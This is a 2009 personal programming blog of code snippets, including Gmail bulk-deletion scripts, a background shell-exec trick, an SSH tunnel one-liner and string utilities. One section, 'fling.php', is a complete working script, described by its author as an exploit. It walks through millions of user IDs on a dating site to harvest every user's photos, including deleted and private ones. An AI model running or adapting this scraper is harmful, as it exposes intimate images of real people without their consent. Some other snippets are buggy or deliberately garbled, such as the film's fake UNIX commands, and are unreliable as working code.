Tuesday, September 29, 2009

Execute Shell Command in PHP without Waiting for Output

I wanted to execute a shell script from a PHP web app. However the shell script can take a long time to execute (possibly hours). I can't leave the browser waiting that long, so I tried getting around this:

I tried the following methods that do NOT work:

// back ticks?
`script`;
`script &`;
`nohup script &`;

// exec
exec('script');
exec('script &');
exec('nohup script &');

// system
system('script');
system('script &');
system('nohup script &');

// fork a child
$pid = pcntl_fork();
if($pid == 0) { system('nohup script &'); }


Finally determined a method that does work:
pclose(popen("nohup script &", 'r'));


My friend was surprised to learn of that one and told me what he uses, which also works (and looks a lot cleaner):
system('echo script | at now');

Delete all Gmail email


require 'net/imap'

# edit these
user = 'user@gmail.com'
pass = 'password'

# do not edit below this line
result = nil
mboxAll = '[Gmail]/All Mail'
mboxSpam = '[Gmail]/Spam'
mboxTrash = '[Gmail]/Trash'

# connect to the server
imap = Net::IMAP.new('imap.gmail.com', '993', true)
imap.login(user, pass)

# move messages to trash
imap.select(mboxAll)
result = imap.search(["BEFORE", '1-Jan-3000'])
puts "#{result.length} messages found in archives"
if result.length > 0
imap.copy(1..result.length, mboxTrash)
imap.store(1..result.length, "+FLAGS", [:Deleted])
puts "Attempting to move #{result.length} messages to trash..."
imap.expunge
end

# empty spam
imap.select(mboxSpam)
result = imap.search(["BEFORE", '1-Jan-3000'])
puts "#{result.length} messages found in spam"
if result.length > 0
puts "Attempting to delete all #{result.length} messages in spam folder..."
imap.copy(1..result.length, mboxTrash)
imap.store(1..result.length, "+FLAGS", [:Deleted])
imap.expunge
end

# empty trash
imap.select(mboxTrash)
result = imap.search(["BEFORE", '1-Jan-3000'])
puts "#{result.length} messages found in trash"
if result.length > 0
puts "Attempting to delete all #{result.length} messages in trash..."
imap.store(1..result.length, "+FLAGS", [:Deleted])
imap.expunge
end

# end imap session
imap.logout

Send E-mail through GMail using Ruby

I stole this TLS code from Hatena::Diary:

require "openssl"
require "net/smtp"

Net::SMTP.class_eval do
private
def do_start(helodomain, user, secret, authtype)
raise IOError, 'SMTP session already started' if @started
check_auth_args user, secret, authtype if user or secret

sock = timeout(@open_timeout) { TCPSocket.open(@address, @port) }
@socket = Net::InternetMessageIO.new(sock)
@socket.read_timeout = 60 #@read_timeout
@socket.debug_output = STDERR #@debug_output

check_response(critical { recv_response() })
do_helo(helodomain)

raise 'openssl library not installed' unless defined?(OpenSSL)
starttls
ssl = OpenSSL::SSL::SSLSocket.new(sock)
ssl.sync_close = true
ssl.connect
@socket = Net::InternetMessageIO.new(ssl)
@socket.read_timeout = 60 #@read_timeout
@socket.debug_output = STDERR #@debug_output
do_helo(helodomain)

authenticate user, secret, authtype if user
@started = true
ensure
unless @started
# authentication failed, cancel connection.
@socket.close if not @started and @socket and not @socket.closed?
@socket = nil
end
end

def do_helo(helodomain)
begin
if @esmtp
ehlo helodomain
else
helo helodomain
end
rescue Net::ProtocolError
if @esmtp
@esmtp = false
@error_occured = false
retry
end
raise
end
end

def starttls
getok('STARTTLS')
end
end


Then I just used this script to send my message:


require 'net/smtp'
require 'smtp_tls'

user='user@gmail.com'
pass='secret'
helo='localhost.localdomain'

msg = "This is a test."

smtp = Net::SMTP.start('smtp.gmail.com', 587, helo, user, pass, 'plain')
smtp.send_message(msg, user, 'friend@example.com')
smtp.finish

Monday, September 28, 2009

Mass Update Script


#!/bin/sh

# post the arguments as the update text
status="$@"

# update whatisMYNAMEdoing.com via FTP
# i know, i know - FTP {is dead,must die} and long live SFTP instead
html="<html><head><title>What is MYNAME doing?</title></head><body><center><h2>MYNAME $@</h2><h1>No</h1></center></body></html>"
echo $html > index.html

ftp -n ftp.whatisMYNAMEdoing.com >/dev/null 2>&1 <<END_SCRIPT
quote USER username
quote PASS password
cd /path/to/htdocs
put index.html
quit
END_SCRIPT

# update twitter
curl -u username:password -d status="$@" http://twitter.com/statuses/update.xml >/dev/null 2>&1

# update facebook
/usr/bin/php fbcmd.php STATUS "$@" >/dev/null 2>&1

# update blogger
echo "$@" | mail -s 'MYNAME...' bloggerID.bloggerPassword@blogger.com >/dev/null 2>&1

Facebook PHP Application Fun

I don't like having multiple files when I can get away with only having one. The Facebook API requires multiple files (3 Facebook and 3 JSON for PHP versions older than 5.2). I decided to merge them into one. A simple call to cat to merge all files wasn't going to work due to the way they were set up, so I did it manually. The resulting beast is posted at http://pastebin.com/f316e87b7. (I call the file .libfb.php)

Dave Tomkins wrote the FBCMD Facebook application using their API. I just wanted to update my Facebook status from the command-line so for the most part his application seemed like bloat to me. So I stripped that down too and decided to have it include the single file I created. The stripped down version is posted at http://pastebin.com/f1136246d.

Note: My stripped script depends on you properly installing his application via Facebook, using the fbcmd.php AUTH command to generate the sessionkeys.txt file and sticking the values from that text file into the stripped down script. After that, you can delete the full version and just use the stripped down script.

Basic installation and usage is as follows:


$ mkdir ~/.fbstat && cd ~/.fbstat
$ wget -O .libfb.php 'http://pastebin.com/pastebin.php?dl=f316e87b7'
$ wget -O fbstat 'http://pastebin.com/pastebin.php?dl=f1136246d'
$ chmod +x fbstat
$ ./fbstat "decided to use a stripped down version of FBCMD"
$ echo $PATH:`pwd` >> ~/.bashrc


If you have a ~/bin, ~/.bin, etc. then you may wish to download there. You may need to edit line 1 of the fbstat file to match the path to PHP on your system (which php/code>).

Edit: Yes, if you want, you can concatenate the two scripts (.libfb.php and fbstat) into a single script and use it that way.

$ cat .libfb.php fbstat > fb.php && rm -f .libfb.php fbstat && mv fb.php fbstat

Fun with Signs

Original Sign:



Poorly edited, but funny sign:

Updated Gmail message delete script written for a friend


#!/usr/bin/ruby
#
# usage:
# ------
# delete all messages older than 30 days in myLabel and empty the trash
# ruby g.rb --deletetrash user@gmail.com password myLabel
#
# delete all messages (don't empty trash) older than 30 days old
# ruby g.rb user@gmail.com password
#
#
# notes:
# ------
# earlier version i wrote didn't have a 30 day rule and didn't take
# advantage of the fact the copy and store methods accept sets (ranges)
# so i dropped the multi-threading and iterating through the results array
#
# warning:
# --------
# i was too lazy to test this so if it doesn't work you may have to fix it.
#


# load modules
require 'net/imap'
require 'date'

# declare globals
result = nil
user = ''
pass = ''
label = '[Gmail]/All Mail' # default: process all messages
deletetrash = false # default: make user manually 'Empty Trash now' via web
deletespam = false # default: we don't care about the 'Spam' folder much

# process command line arguments
if(ARGV.size > 1)
if(ARGV[0] == '--deletetrash')
deletetrash = true
ARGV.shift
end
if(ARGV[0] == '--deletetrashspam')
deletetrash = true
deletespam = true
ARGV.shift
end
user = ARGV[0]
pass = ARGV[1]
if(ARGV.size == 3)
label = ARGV[2]
end
else
puts "Usage: ruby g.rb [--deletetrash|--deletetrashspam] <user@gmail.com> <password> [<label>]"
exit(1)
end

# connect to the server
puts "Started at #{Time.now}"
imap = Net::IMAP.new('imap.gmail.com', '993', true)
imap.login(user, pass)
imap.select(label)

# select messages from before date
date = DateTime.now - 4096
result = imap.search(["BEFORE", date.strftime('%d-%b-%Y')])
puts "#{result.length} messages found in "+label+" from before "+date.strftime('%d-%b-%Y')

# move messages to trash
imap.copy(1..result.length, '[Gmail]/Trash')
imap.store(1..result.length, "+FLAGS", [:Deleted])

# expunge (required to finalize move to trash on the server)
puts "Attempting to move #{result.length} messages to trash"
imap.expunge

# do we have to empty the trash, too?
if deletetrash
imap.select('[Gmail]/Trash')
result = imap.search(["SINCE", '1-Jan-1900'])
puts "Attempting to delete all #{result.length} messages in trash..."
imap.store(1..result.length, "+FLAGS", [:Deleted])
imap.expunge
end

# did the user want to clean out the spam folder, too?
if deletespam
imap.select('[Gmail]/Spam')
result = imap.search(["SINCE", '1-Jan-1900'])
puts "Attempting to delete all #{result.length} messages in spam folder..."
imap.store(1..result.length, "+FLAGS", [:Deleted])
imap.expunge
end

# end imap session
imap.logout
# does logout do a disconnect? because calling this throws a socket not connected error
#imap.disconnect

# tell the user we finished
puts "Ended at #{Time.now}"

Sunday, September 27, 2009

/dev/null

9.971268
-112.061531

Friday, September 25, 2009

Reddit.com Pun-thread Response

Reddit often has threads full of puns (i.e. pun threads) in the comments sections of articles.

I've been meaning to post this as a reply to a pun thread that started in the programming subreddit, but never got a chance to use it.


/* create a witty pun thread
*
* note: remember to compile with -lreddit and -lhumorwitty
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef __REDDIT__
#include <reddit.h>
#include <humor/witty.h>
#endif

#ifndef __HUMOR_WITTY_PUNS__
typedef char* pun_t;
typedef struct { pun_t *puns; size_t npuns; } pun_list_t;
#define NOVALUESTRING "i have nothing of value to add! lol!"
#endif

/* determine all puns that can made based on the phrase specified in src */
pun_list_t* get_list_of_puns_based_on_phrase(const char *src) {
pun_list_t *list;
pun_t pun, *puns = (pun_t*)malloc(sizeof(pun_t));
int npuns = 0;

/* notice: requires libhumor and libhumorwitty to work correctly */
while((pun = humor_witty_get_new_pun()) != NULL)
puns[npuns++] = (pun_t)strdup(pun);

list = (pun_list_t*)malloc(sizeof(pun_list_t));
list->puns = puns;
list->npuns = npuns;
return list;
}

/* post our lulz to reddit */
void reddit_do_comments_pun_thread(pun_list_t *list) {
while(list->npuns-- > 0) {
#ifdef __REDDIT__
reddit_post_comment_with_comment(list->puns[list->npuns]);
#else
puts(list->puns[list->npuns]);
#endif /* __REDDIT__ */
}
}

#ifndef __REDDIT__
/* if not compiled into the brain, run this from a console to ensure it works */
int main(int argc, char *argv[]) {
pun_list_t *pun_thread;
pun_thread = get_list_of_puns_based_on_phrase("foobar");
reddit_do_comments_pun_thread(pun_thread);
return 0;
}
#endif /* __REDDIT__ */

/* some systems lack witty homor so attempt to comment anyway using stupidity for a "pun" */
#ifndef __HUMOR_WITTY__
static int humor_witty_puns_generated = 0;
pun_t humor_witty_get_new_pun(void) {
return (pun_t)((++humor_witty_puns_generated > 1) ? NULL : strdup(NOVALUESTRING));
}
#endif /* __HUMOR_WITTY__ */


The cool thing is that it will compile and run in the form presented above, but if you just read the code as if it were a pseudo-code it seems to outline how a pun-thread works.

*sigh* Get a life. I know.

Create SSH SOCKS proxy on localhost to tunnel traffic through


ssh -D 8080 -fCqN user@host


Note: The above will set 8080 as the port to connect to on localhost as the SOCKS proxy.

MacBook / OS X Access Point Script

Sometimes my MacBook gets stupid and forces me to disassociate and re-associate with my access point to restore my connection to a working state. I prefer using the keyboard than the mouse/touchpad, so I wrote this script.


#!/bin/bash

ssid=""
psk=""

sudo airport -z
sleep 1
sudo airport --associate=${ssid} --bssid=${ssid} --password=${psk}
#sudo /Users/void/Scripts/firewall restart >/dev/null 2>&1

Numerology


<?php
if(($q = (($_GET['q']) ? ($_GET['q']) : ($_POST['q']))) != '') {
$c = (($_GET['c']) ? ($_GET['c']) : ($_POST['c']));
if($c % 2) $q = strtoupper($q); elseif($c == 2) $q = strtolower($q);
if($c == 3) $x = -64;
$str = str_split($q);
for($i = 0, $n = 0; $i < count($str); $i++) {
$n += ord($str[$i]) + $x;
//echo $str[$i].' - '.$n.'<br/>';
}
header("Location: http://www.wolframalpha.com/input/?i=".urlencode($n));
}
?>

<html><body>
<form method="post" action="<?php echo $PHP_SELF; ?>">
String:<br/><input type="text" name="q" value="" />
<select name="c">
<option value="0">case sensitive</option>
<option value="1">upper case</option>
<option value="2">lower case</option>
<option selected value="3">alphabetical</option
</select><input type="submit" />
</form>
</body></html>

Fun with the Fibonacci Sequence in PHP



function getPi($n) {
for($i = 1; $i <= $n; $i++)
$sum = bcadd($sum, bcdiv('1',bcmul($i,$i)));
return bcsqrt(bcmul($sum, '6'));
}

function fib($n) {
global $PI;
if($n < 2) return $n;
$onePlusSqrt5 = bcadd('1', bcsqrt('5'));
$numeratorleft = bcmul('0.5', $onePlusSqrt5);
$numeratorright = bcdiv('2', $onePlusSqrt5);
return bcround(bcdiv(bcmul(bcsub(bcpow($numeratorleft, $n), bcpow($numeratorright, $n)), cos(bcmul($PI,$n))), bcsqrt('5')));
}

function bcround($strval, $precision = 0) {
if (false !== ($pos = strpos($strval, '.')) && (strlen($strval) - $pos - 1) > $precision) {
$zeros = str_repeat('0', $precision);
return bcadd($strval, '0.{$zeros}5', $precision);
} else {
return $strval;
}
}

function bcdechex($dec, $digits = false) {
$hex = '';
$positive = $dec < 0 ? false : true;

while($dec) {
$hex .= dechex(abs(bcmod($dec, '16')));
$dec = bcdiv($dec, '16', 0);
}
if($digits) {
while(strlen($hex) < $digits)
$hex .= '0';
}

if($positive)
return strrev($hex);

for($i = 0; $isset($hex[$i]); $i++)
$hex[$i] = dechex(15 - hexdec($hex[$i]));
for($i = 0; isset($hex[$i]) && $hex[$i] == 'f'; $i++)
$hex[$i] = '0';
if(isset($hex[$i]))
$hex[$i] = dechex(hexdec($hex[$i]) + 1);
return strrev($hex);
}


function ff_initialize($scale = 10) {
bcscale($scale);
getPi($scale);
}

function ff_maxfiboflen($n) {
for($i = 1; $n > 0; $i++) {
echo "$i ...\r";
if(strlen($f = fib($i)) > $n)
return fib($i-1);
}
}

function ff_maxhexfiboflen($n) {
for($i = 1; $n > 0; $i++) {
echo "$i ...\r";
if(strlen($f = bcdechex(fib($i))) > $n)
return "0x".strtoupper(bcdechex(fib($i-1)));
}
echo "error";
}

ff_initialize();

echo "max hex value of length 10:\n";
echo ff_maxhexfiboflen(10)."\n";

echo "max dec value of length 10:\n";
echo ff_maxfiboflen(10)."\n";

"UNIX" commands from the movie Sphere (1998)

"UNIX" commands from the movie Sphere (1998) that are visible on screens during the movie:

Supposedly, to access a stream of data somehow being forced to display on your other computer screens:


guest@d18 4% >pwd
/usr/people/guest
>user lono logged off...system opera
>su
root@d18 1%>ascii tty mode ENABLED

------------------------------------
(user)
>RLOGIN:Guest@remotehost:/d18


Also, chmod can get funky according to a commend pending execution in a background window:


/bin/chmod -r-r-w


They seem to think to convert decimal to binary you should do this:


guest@d18>
$BSD = -f '/vmunix'; if ($BSD) {system 'BIN
cbreak /dev/tty 2>&1'; '
(outout of binary data -- total mismatch w/ the decimal data shown earlier)


Also, they discovered that to translate messages sent by an "alien" who learned English based on the layout of a QWERTY keyboard you can use this broken Perl script:


(numeric garbage)
sub set_cbreak { = &set_cbreak(1) or
&set_cbreak(0)
local($on) = $_[0],
local($sgttyb,@ary),
require 'sys/ioctl.ph',
$sgttyb_t = 'C# $' unless
$sgttyb_t; #c2ph:
&sgttyb'typedef()

@d18 command> ./GO


*sigh* I hate when lame movies try to be realistic and just look even more lame in the process.

Oops

I realized I was posting code using only PRE tags and not converting greater/less than symbols to HTML entities. So, browsers are going to see a less than sign and think it's the start of a HTML tag and not display the post properly.

I could edit my posts and fix it -- and maybe I will later -- but for now if you actually are about viewing the code correctly just view the page source.

On Firfox on PC keyboards (Windows/Linux users), Ctrl+U; Mac fanboys, Cmd+U -- then again most Mac fanboys probably use Safari and not Firefox, in which case it's Shift+Cmd+U.

C++ string replacement function


#include <iostream>
#include <string>

std::string str_replace(std::string strbuf, std::string strold, std::string strnew){
int len = strold.length();
std::string::size_type opos = strbuf.find(strold, 0);
while(std::string::npos != opos) {
strbuf.replace(opos, len, strnew);
opos = strbuf.find(strold, 0);
}
return strbuf;
}

ANSI C string replacement function


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char* str_replace(const char *strbuf, const char *strold, const char *strnew) {
char *strret, *p = NULL;
char *posnews, *posold;
size_t szold = strlen(strold);
size_t sznew = strlen(strnew);
size_t n = 1;

if(!strbuf)
return NULL;
if(!strold || !strnew || !(p = strstr(strbuf, strold)))
return strdup(strbuf);

while(n > 0) {
if(!(p = strstr(p+1, strold)))
break;
n++;
}

strret = (char*)malloc(strlen(strbuf)-(n*szold)+(n*sznew)+1);

p = strstr(strbuf, strold);

strncpy(strret, strbuf, (p-strbuf));
strret[p-strbuf] = 0;
posold = p+szold;
posnews = strret+(p-strbuf);
strcpy(posnews, strnew);
posnews += sznew;

while(n > 0) {
if(!(p = strstr(posold, strold)))
break;
strncpy(posnews, posold, p-posold);
posnews[p-posold] = 0;
posnews += (p-posold);
strcpy(posnews, strnew);
posnews += sznew;
posold = p+szold;
}

strcpy(posnews, posold);
return strret;
}

int main(int argc, char **argv) {
printf("%s\n", str_replace("Web Developers Are Stupid", "Web", "Most"));
return 0;
}

Decode Some String (forget why I wrote this)


function DecodePassword(&$text)
{
$pwdutf8 = $text;
$pwd = base64_decode($pwdutf8);
RotateBitLeft($pwd);
$text = $pwd;

return true;
}

function RotateBitLeft(&$str)
{
$cstr = str_split($str);
for($count = 0; $count < count($cstr); $count++)
$cstr[$count] = chr((ord($cstr[$count]) << (1)) | (ord($cstr[$count]) >> (8-(1))));
$str = implode($cstr);

return;
}

function UnitTest()
{
$string = 'MrI7HBUkt7q5sg==';
DecodePassword($string);
echo "$string\n";
}

UnitTest();

Download all user images (even "deleted" images) from Fling.com


///////////////////////////////////////////////////////////////////////////////
// fling.php
//
// exploit stupid image storage url scheme to download all pictures of users
// without membership, adding "discrete profiles" as friends, etc.
//
// version 0.1 - 11 sep 09 - written by lazy - provided "as is"
//
///////////////////////////////////////////////////////////////////////////////


/* fling_curl_file_exists($url)
* url - url to test if file exists
*
* test if $url exists
*
* returns true if file exists (HTTP code 200), otherwise false
*/
function fling_curl_file_exists($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_NOBODY, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_MAXREDIRS, 1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.9) Gecko/20090824 Firefox/3.5.3');
$data = curl_exec($ch);
curl_close($ch);
preg_match_all("/HTTP\/1\.[1|0]\s(\d{3})/",$data,$matches);
$code = end($matches[1]);
return ($code != 200 || !$data) ? false : true;
}


/* fling_curl_download_file($url, $savePath = '')
* url - file to download
* savePath - local path to which file should be saved
* if not specified: working dir
* if working dir is not writable: system temp dir
*
* download a file from specified url. local file name is same as remote filename,
* i.e. http://example.com/foo.jpg will be saved as foo.jpg in the $savePath
*
* returns filesize of saved file on success, otherwise a string with error message
*/
function fling_curl_download_file($url, $savePath = '') {
/* verify url is a string */
if(!$url)
return "error: no url";

/* ensure we can save the file */
if(!$savePath) {
if(!is_writable(getcwd()))
$savePath = sys_get_temp_dir();
else
$savePath = getcwd();
}
if(!is_writable($savePath))
return "error: cannot write to $savePath";
if(!chdir($savePath))
return "error: cannot access $savePath";

/* ensure the file doesn't exist */
$file = basename($url);
if(file_exists($file))
return "error: file already exists named $file";

/* prepare to write */
if(($out = fopen($file, 'w+b')) == false)
return "error: cannot write to file $file";

/* use curl to get the file */
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_FILE, $out);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.9) Gecko/20090824 Firefox/3.5.3');
if(curl_exec($ch) == false)
return "error: curl error: ".curl_error($ch);

/* if we made it this far, clean up - we had no errors */
curl_close($ch);
fclose($out);
return filesize($file);
}


/* fling_get_pic($userId, $picNumber)
* userId - user id on site (numeric value)
* picNumber - single digit
*
* checks for http errors before attempting to download picNumber image of userId
*
* returns true on success, otherwise a string with error message
*/
function fling_get_pic($userId, $picNumber) {
/* pics are numbered 0-9 -- don't waste time if it's wrong */
if(strlen($picNumber) != 1)
return "error: pic number out of range - $picNumber";

/* build the image url string */
$userIdPath = substr($userId,0,(strlen($userId)-3));
$url = "http://cachecdn.fling.com/user-images/".$userIdPath."/".$userId."-L-".$picNumber.".jpg";

/* check if the file exists */
if(fling_curl_file_exists($url)) {
/* try to download the file */
return fling_curl_download_file($url);
} else {
return "error: file does not exist at $url";
}
}


/* generate_thumb($file, $new_path, $new_w, $new_h)
* file - source image
* new_path - path to place thumbnail (using name name as file)
* new_w - new width
* new_h - new height
*
* generate thumbnail for image
*
* returns true on success, false on failure
*/
function generate_thumb($file, $new_path, $new_w, $new_h) {
$img_prop = GetImageSize($file);
if (!$img_prop[2] == 2)
return false;

$filename = basename($file);
$ext = substr(strrchr($file, "."), 1);
if(strtolower($ext) == "jpg" || strtolower($ext) == "jpeg")
$img_src = ImageCreateFromJPEG($file);
elseif(strtolower($ext) == "gif")
$img_src = ImageCreateFromGIF($file);
elseif(strtolower($ext) == "png")
$img_src = ImageCreateFromPNG($file);
else
return false;

$src_x = ImageSX($img_src);
$src_y = ImageSY($img_src);

if ($src_x > $src_y) {
$thumb_w=$new_w;
$thumb_h=$src_y*($new_h/$src_x);
$use_x = false;
} else if ($src_x < $src_y) {
$thumb_w=$src_x*($new_w/$src_y);
$thumb_h=$new_h;
$use_x = true;
} else {
$thumb_w=$new_w;
$thumb_h=$new_h;
$use_x = false;
}

$img_dst = imagecreatetruecolor($new_w, $new_h);
imagefill($img_dst, 0, 0, imagecolorallocate($img_dst, 255, 255, 255));

if($use_x)
imagecopyresampled($img_dst, $img_src, $new_w/2 - $thumb_w/2, $new_h/2 - $thumb_h/2, 0, 0, $thumb_w, $thumb_h, $src_x, $src_y);
else
imagecopyresampled($img_dst, $img_src, $new_w/2 - $thumb_w/2, $new_h/2 - $thumb_h/2, 0, 0, $thumb_w, $thumb_h, $src_x, $src_y);

return ImageJPEG($img_dst,$new_path.$filename);
}

/* fling_main($maxDataToDownload)
* maxDataToDownload - save as many bytes as specified by this value before quitting
* default is 100 MB
*
* iterate through possible userIds and picNumbers trying to download pics
*
* returns nothing; outputs results to stdout
*/
function fling_main($maxDataToDownload = 107374182400) {
$byteCounter = 0;
$fileCounter = 0;

$thumbDir = 'thumbs/';

/* make sure we can use $thumbDir if specified */
if(!file_exists($thumbDir)) {
if(!mkdir($thumbDir)) {
echo "error: $thumbDir does not exist and could not be created\n";
echo "warning: proceeding w/o ability to make thumbnails\n\n";
$thumbDir = '';
}
}
if(!is_writable($thumbDir)) {
echo "error: $thumbDir is not writable\n";
echo "warning: proceeding w/o ability to make thumbnails\n\n";
$thumbDir = '';
}

/* iterate userIds */
for($userId = 10000000; $userId < 30000000; $userId++) {
/* iterate picNumbers */
for($picNumber = 0; $picNumber < 10; $picNumber++) {
/* try to fetch a picture for current userId and picNumber */
$ret = fling_get_pic($userId, $picNumber);

/* if we hit a 404, the user has no [more] pics; so, don't waste time */
if(strstr($ret, "file does not exist"))
break;

/* increment byte and file counters */
if(is_numeric($ret)) {
$byteCounter += $ret;
$fileCounter++;

/* make thumbnail if necessary */
if($thumbDir != '') {
$file = $userId."-L-".$picNumber.".jpg";
if(!generate_thumb($file, $thumbDir, 96, 96))
echo "error: could not create thumb for $file\n";
}

echo "Downloaded $fileCounter files ($byteCounter bytes)...\r";
} else
echo "$ret ($userId-$picNumber)\n";
}
}
echo "Downloaded $fileCounter files ($byteCounter bytes)\n";
echo "Final userId processed was $userId\n";
}


/*
* entry point
*/
fling_main();

Thursday, September 24, 2009

PHP Gmail E-mail Delete Script


/* Gmail Spring Cleaning Script
* delete all messages before a given year (default: current year)
*
* Usage:
* (1) create INI file with values for 'user', 'pass' and 'year'
* named after this script (except using ini instead of php)
* (2) run script as: php-cli script.php user pass [year]
* (3) run script as: php-cli script.php
* then enter values when prompted by script
*
* Notes:
* - Username must end with @gmail.com
* - Year must be between 2000 and 2999
* (Gmail didn't exist before 2004 anyway)
* - PHP 5.2+ is recommended (untested on earlier versions)
* - Extensions imap required; pcntl advised
*/


/* globals */
$flaggedForDelete = 0;
$imap = null;
$user = '';
$pass = '';

/* entry point */
function main($argc, $argv) {
global $user, $pass;

/* display errors only */
error_reporting(E_ALL ^ (E_NOTICE | E_WARNING));

/* read configuration file (don't want to store login info in script)*/
$inifile = preg_replace('/php$/', 'ini', basename(__FILE__));
if(($ini = script_init($inifile)) != false) {
$user = $ini[0];
$pass = $ini[1];
$year = $ini[2];
} else {
if($argc > 2) {
$user = $argv[1];
$pass = $argv[2];
$year = ($argv[3]) ? $argv[3] : date('Y');
if(!$user || !$pass) {
echo "Usage: ".basename(__FILE__)." []\n";
exit(1);
}
} else {
echo "$inifile and command line arguments not found. please enter data manually.\n\n";
fwrite(STDOUT, "gmail user: "); $user = trim(fgets(STDIN));
fwrite(STDOUT, "password: "); $pass = trim(fgets(STDIN));
fwrite(STDOUT, "min year: "); $year = trim(fgets(STDIN));
}
}

/* command line arguments override the INI file */

/* set signal handlers and time execution of the core routines */
$timeBegin = script_microtime();
signal_handler_set('signal_handler');
script_core($year);
script_cleanup();
$timeEnd = script_microtime();
echo 'Executed in: '.round($timeEnd - $timeStart,3)." seconds\n";

exit(0);
} main($argc, $argv);

/* set signal handler if we can */
function signal_handler_set($handler = SIG_DFL) {
if(function_exists('pcntl_signal')) {
if(function_exists('pcntl_signal_dispatch'))
pcntl_signal_dispatch();
else
declare(ticks = 1);
pcntl_signal(SIGTERM, $handler);
pcntl_signal(SIGINT, $handler);
pcntl_signal(SIGKILL, $handler);
}
}

/* handle signals that can terminate the script; we want to die gracefully */
function signal_handler($signal) {
if($signal == SIGTERM || $signal == SIGINT || $signal = SIGKILL) {
echo "\nScript interrupted! Cleaning up...\n";
script_cleanup();
exit(0);
}
}

/* return a float for microtime() in order to time the script */
function script_microtime() {
list($msec,$sec) = explode(' ', microtime());
return ((float)$msec + (float)$sec);
}

/* read our INI file which defines 'user', 'pass' and 'year' keys
* ini file name is always the same as the script except w/ 'ini' extension instead of 'php'
*/
function script_init($inifile) {
if(file_exists($inifile)) {
$ini = parse_ini_file($inifile);
if(strlen(trim($ini['user'])) == 0) {
echo "blank user in ini? i don't think so.\n";
exit(1);
}
if(strlen(trim($ini['pass'])) == 0) {
echo "blank pass in ini? i don't think so.\n";
exit(1);
}
if(strlen(trim($ini['year'])) == 0) {
echo "blank year? well let's use this year...\n";
$ini['year'] = date('Y');
}
} else {
return false;
}
return array($ini['user'], $ini['pass'], $ini['year']);
}

/* connect to gmail via IMAP and mark old messages to be moved to the trash.
* gmail won't let you delete messages in the '[Gmail]/All Mail' folder.
*/
function script_core($minYear) {
global $imap, $flaggedForDelete, $user, $pass;

echo "Connecting as {$user}...\n";
$imap = imap_open("{imap.gmail.com:993/imap/ssl/novalidate-cert}[Gmail]/All Mail", $user, $pass) or die("Cannot connect: " . imap_last_error() . "\n");

echo "Checking current mailbox...\n";
$mbox = imap_check($imap);

$bar = new Console_ProgressBar('- Processing %fraction% [%bar%] %percent% ETA: %estimate%', '=>', '-', 74, $mbox->Nmsgs);
for($n = 1; $n < $mbox->Nmsgs; $n++) {
//echo "Processing {$n} of {$mbox->Nmsgs} ({$flaggedForDelete} flagged so far)...\r";
$bar->update($n);
$hdr = imap_fetchheader($imap, $n);
preg_match('/Date: .*? (2\d{3}).*?$/m', $hdr, $matches);
$year = $matches[1];
if($year < $minYear) {
if(!imap_mail_move($imap, $n, '[Gmail]/Trash')) {
preg_match('/Message-ID: \<(.*?)\>/', $hdr, $matches);
$msgid = $matches[1];
echo("\nimap_mail_move ({$msgid}/{$n}): " . imap_last_error() . "\n");
}
$flaggedForDelete++;
}
}
}

/* access the '[Gmail]/Trash' folder and delete all messages */
function script_empty_trash() {
global $user, $pass;

signal_handler_set(SIG_DFL);

$imap = imap_open("{imap.gmail.com:993/imap/ssl/novalidate-cert}[Gmail]/Trash", $user, $pass) or die("can't connect: " . imap_last_error() . "\n");
$mbox = imap_check($imap);
$bar = new Console_ProgressBar('- Deleting %fraction% [%bar%] %percent% ETA: %estimate%', '=>', '-', 74, $mbox->Nmsgs);
for($n = 1; $n < $mbox->Nmsgs; $n++) {
//echo "Deleting message {$n} of {$mbox->Nmsgs} in trash...\r";
$bar->update($n);
imap_delete($imap, $n);
}
imap_close($imap, CL_EXPUNGE);
}

/* script_core() can be time consuming; user may interrupt
* if so, expunge and close the connection (moving flagged messages to trash)
* next, try to empty the trash -- may be time consuming, however,
* script_empty_trash() will die w/o any hold-ups if the user tries killing again
*/
function script_cleanup() {
global $imap, $flaggedForDelete;

echo "Expunging mailbox ({$flaggedForDelete} messages flagged)...\n";
imap_close($imap, CL_EXPUNGE);

echo "Emptying trash...\n";
script_empty_trash();

echo "\n";
}

/* list all mail boxes on the gmail imap server
* used for development, but not needed in the final version
*/
function script_list_boxes() {
global $user, $pass;

$imap = imap_open("{imap.gmail.com:993/imap/ssl/novalidate-cert}", $user, $pass) or die("Cannot connect: " . imap_last_error() . "\n");
$boxes = imap_list($imap, '{imap.gmail.com}', '*');
print_r($boxes);
imap_close($imap);
}


/* Console/ProgressBar 0.5.2 Copyright (c) 2007 Stefan Walk ; released under MIT license; downloded from PEAR */
class Console_ProgressBar {var $_skeleton;var $_bar;var $_blen;var $_tlen;var $_target_num;var $_options = array();var $_rlen = 0;var $_start_time = null;var $_rate_datapoints = array();var $_last_update_time = 0.0;function Console_ProgressBar($formatstring, $bar, $prefill, $width,$target_num, $options = array()){$this->reset($formatstring, $bar, $prefill, $width, $target_num,$options);}function reset($formatstring, $bar, $prefill, $width, $target_num,$options = array()){if ($target_num == 0) {trigger_error("PEAR::Console_ProgressBar: Using a target number equal to 0 is invalid, setting to 1 instead");$this->_target_num = 1;} else {$this->_target_num = $target_num;}$default_options = array('percent_precision' => 2,'fraction_precision' => 0,'percent_pad' => ' ','fraction_pad' => ' ','width_absolute' => true,'ansi_terminal' => false,'ansi_clear' => false,'num_datapoints' => 5,'min_draw_interval' => 0.0,);$intopts = array();foreach ($default_options as $key => $value) {if (!isset($options[$key])) {$intopts[$key] = $value;} else {settype($options[$key], gettype($value));$intopts[$key] = $options[$key];}}$this->_options = $options = $intopts;$cur = '%2$\''.$options['fraction_pad']{0}.strlen((int)$target_num).'.'.$options['fraction_precision'].'f';$max = $cur; $max{1} = 3;if (version_compare(PHP_VERSION, '4.3.7', 'ge')) 